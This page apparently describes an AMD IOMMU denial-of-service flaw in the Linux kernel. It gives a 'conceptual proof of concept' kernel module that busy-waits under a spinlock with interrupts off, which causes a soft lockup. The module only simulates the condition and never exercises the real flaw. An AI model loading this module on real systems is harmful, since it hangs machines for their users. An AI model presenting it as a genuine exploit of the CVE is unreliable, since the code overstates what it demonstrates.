CVE-2026-43253 Linux内核AMD IOMMU拒绝服务漏洞

/* * Conceptual Proof of Concept for CVE-2026-43253 * This code simulates the vulnerable condition where a spinlock is held * during a busy-wait loop, causing a soft lockup. * * To test: Load this module in a Linux kernel environment with AMD IOMMU. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/spinlock.h> #include <linux/delay.h> static DEFINE_SPINLOCK(vuln_lock); static int __init poc_init(void) { unsigned long flags; int i; printk(KERN_INFO "CVE-2026-43253 PoC: Triggering soft lockup simulation...\n"); // Acquire spinlock (disables interrupts) spin_lock_irqsave(&vuln_lock, flags); // Simulate wait_on_sem() busy waiting inside the spinlock // In the real vulnerability, this waits for hardware. // This loop runs for a significant time to trigger the watchdog. for (i = 0; i < 1000000000; i++) { // Busy wait without sleeping or scheduling barrier(); } // Release spinlock (re-enables interrupts) spin_unlock_irqrestore(&vuln_lock, flags); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-43253 PoC: Unloaded.\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43253 Soft Lockup");